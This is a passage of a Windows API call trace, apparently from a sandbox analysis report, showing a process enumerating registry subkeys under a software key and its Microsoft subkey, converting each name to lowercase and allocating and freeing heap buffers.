Size=0x40) returned 0xa8c120 [0247.529] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.529] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.529] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.529] RegEnumKeyW (in: hKey=0x90, dwIndex=0x1, lpName=0xa8b930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0247.529] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.529] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0xa8c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0247.529] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.529] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.529] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.529] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.529] RegEnumKeyW (in: hKey=0x90, dwIndex=0x2, lpName=0xa8b930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0247.529] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.529] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0xa8c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0247.530] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.530] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.530] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.530] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.530] RegEnumKeyW (in: hKey=0x90, dwIndex=0x3, lpName=0xa8b930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0247.530] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.530] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0xa8c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0247.530] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.530] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.530] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.530] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.530] RegEnumKeyW (in: hKey=0x90, dwIndex=0x4, lpName=0xa8b930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0247.530] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.530] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0xa8c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0247.530] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.530] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.530] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.530] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.530] RegEnumKeyW (in: hKey=0x90, dwIndex=0x5, lpName=0xa8b930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0247.530] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.531] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0xa8c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0247.531] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.531] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.531] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.531] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.531] RegEnumKeyW (in: hKey=0x90, dwIndex=0x6, lpName=0xa8b930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0247.531] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0247.531] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0xa8c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0247.531] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.531] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.531] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.531] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.531] RegOpenKeyExW (in: hKey=0x90, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x34) returned 0x0 [0247.531] RegCloseKey (hKey=0x90) returned 0x0 [0247.531] RegEnumKeyW (in: hKey=0x34, dwIndex=0x0, lpName=0xa8b930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0247.531] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.531] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0xa8c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0247.531] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.532] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.532] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.532] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.532] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1, lpName=0xa8b930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0247.532] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.532] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0xa8c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0247.532] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.532] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.532] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.532] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.532] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2, lpName=0xa8b930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0247.532] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.532] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0xa8c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0247.532] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.532] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.532] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.532] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.532] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3, lpName=0xa8b930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0247.532] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0247.532] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0xa8c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0247.533] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.533] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.533] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.533] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.533] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4, lpName=0xa8b930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0247.533] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.533] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0xa8c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0247.533] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.533] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.533] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.533] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.533] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5, lpName=0xa8b930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0247.533] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.533] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0xa8c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0247.533] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.533] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.533] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.533] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.533] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6, lpName=0xa8b930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0247.533] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.534] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0xa8c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0247.534] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.534] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.534] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.534] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.534] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7, lpName=0xa8b930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0247.534] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.534] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0xa8c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0247.534] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.534] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.534] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.534] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.534] RegEnumKeyW (in: hKey=0x34, dwIndex=0x8, lpName=0xa8b930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0247.534] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.534] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0xa8c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0247.534] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.534] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.534] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.534] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.534] RegEnumKeyW (in: hKey=0x34, dwIndex=0x9, lpName=0xa8b930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0247.535] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.535] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0xa8c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0247.535] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.535] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.535] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.535] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.535] RegEnumKeyW (in: hKey=0x34, dwIndex=0xa, lpName=0xa8b930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0247.535] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0247.535] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0xa8c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0247.535] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.535] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.535] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.535] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.535] RegEnumKeyW (in: hKey=0x34, dwIndex=0xb, lpName=0xa8b930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0247.535] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.535] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0xa8c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0247.535] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.535] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.535] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.535] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.535] RegEnumKeyW (in: hKey=0x34, dwIndex=0xc, lpName=0xa8b930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0247.536] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.536] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0xa8c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0247.536] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.536] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.536] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.536] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.536] RegEnumKeyW (in: hKey=0x34, dwIndex=0xd, lpName=0xa8b930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0247.536] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.536] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0xa8c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0247.536] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.536] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.536] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.536] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.536] RegEnumKeyW (in: hKey=0x34, dwIndex=0xe, lpName=0xa8b930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0247.536] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, 